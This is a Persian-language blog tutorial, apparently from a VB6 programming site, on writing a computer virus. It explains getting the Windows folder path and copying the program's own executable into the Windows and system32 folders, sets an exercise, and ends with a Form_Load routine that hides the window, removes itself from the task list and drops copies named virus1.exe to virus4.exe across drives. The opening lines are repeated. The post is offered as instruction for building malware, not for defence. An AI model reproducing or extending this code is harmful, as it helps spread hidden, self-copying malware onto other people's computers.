برای اینکه ویروس ما کارایی بهتری داشته و اون عملکردی که ما مد نظرمون هست رو داشته باشه باید سطح دسترسی ویروسمون رو به پوشه ویندوز بالا ببریم..

سوال: چطوری اینکارو باید انجام داد؟

جواب: با استفاده از توابع API و قابلیت ها و دستورهایی رو که خود ویژوال بیسیک داره..

شاید کار با توابع برای شما سخت باشه من از دستورات داخلی ویژوال شروع میکنم تا به توابع برسم...

کد:

w$ = Environ("windir")

...

در ادامه مطلب

برای اینکه ویروس ما کارایی بهتری داشته و اون عملکردی که ما مد نظرمون هست رو داشته باشه باید سطح دسترسی ویروسمون رو به پوشه ویندوز بالا ببریم..

سوال: چطوری اینکارو باید انجام داد؟

جواب: با استفاده از توابع API و قابلیت ها و دستورهایی رو که خود ویژوال بیسیک داره..

شاید کار با توابع برای شما سخت باشه من از دستورات داخلی ویژوال شروع میکنم تا به توابع برسم...

کد:

w$ = Environ("windir")

توضیح:

ما مقدار $w (که این نام دلخواه هست می تونید بزارید a یا ...) را ("Environ("windir

قرار دادیم که پوشه ی اصلی ویندوز را به ما می ده.

چطوری ازش استفاده کنیم؟؟

کد:

filecopy App.path + App.exename + ".exe",w$+"\"+"namefile"

or

کد:

filecopy Path file1 + namefile,w$ +"\" +"namefile"

در اینجا به خاطر اینکه مقداری که به ما میده میشه :

مثال:

کد:

c:\windows

برای همین از "\"+ تا به صورت زیر در بیاد :

کد:

c:\windows\

تمرین:

ویروسی بنویسید که خودش رو در پوشه system32 کپی کنه :

جواب:

کد:

filecopy App.path + App.exename + ".exe",w$+"\system32\"+"namefile"

ویروسی که ما تا الان تونستیم ایجاد کنیم:

کد:

Private Sub Form_Load()
Me.Hide
App.TaskVisible = False
w$ = Environ("windir")
FileCopy App.Path + App.EXEName + ".exe", w$ + "\system32\" + "virus1.exe"
FileCopy App.Path + App.EXEName + ".exe", w$ + "\" + "virus2.exe"
FileCopy App.Path + App.EXEName + ".exe", "c:\" + "virus3.exe"
FileCopy App.Path + App.EXEName + ".exe", "h:\" + "virus4.exe"
End Sub

http://www.programming-vb6.rozblog.com:منبع